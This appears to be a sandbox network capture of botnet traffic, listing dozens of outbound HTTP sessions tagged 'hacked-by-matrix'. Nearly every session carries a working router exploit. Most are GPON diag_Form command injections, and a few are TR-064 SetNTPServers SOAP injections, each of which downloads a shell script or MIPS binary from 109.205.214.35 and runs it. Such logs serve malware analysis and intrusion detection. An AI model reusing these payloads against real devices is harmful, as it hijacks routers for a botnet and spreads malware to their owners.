Mar 21, 2024 05:23:18.750974894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.13	38212	42.164.31.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750974894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.13	35238	212.194.39.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750979900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.13	37974	118.20.57.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750998020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.13	55502	109.169.170.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.750999928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.13	38722	118.106.197.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751012087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.13	49686	42.187.193.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751028061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.13	55336	42.202.224.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751038074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.13	56764	5.254.85.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751056910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.13	46094	118.255.208.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751072884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.13	38820	212.9.179.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751091003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.13	42148	42.220.113.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751108885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.13	39090	5.217.209.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751147985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.13	41348	212.89.107.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751163006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.13	37248	109.145.164.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751179934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.13	56414	5.146.212.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751180887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.13	37742	212.210.159.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751184940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.13	60982	212.0.188.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751184940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.13	58452	118.146.202.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751235008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.13	47368	118.67.10.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751262903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.13	34752	5.43.211.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.751267910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.13	37618	179.113.22.51	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.783149004 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:19.919342041 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:20.156586885 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NGE0ZTA5MDY6ZTdkMzlhY2Y6OGRhNDVjNzY=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.13	53906	34.117.250.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.991425991 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1568	192.168.2.13	58792	212.93.120.203	52869

Timestamp	Bytes transferred	Direction	Data
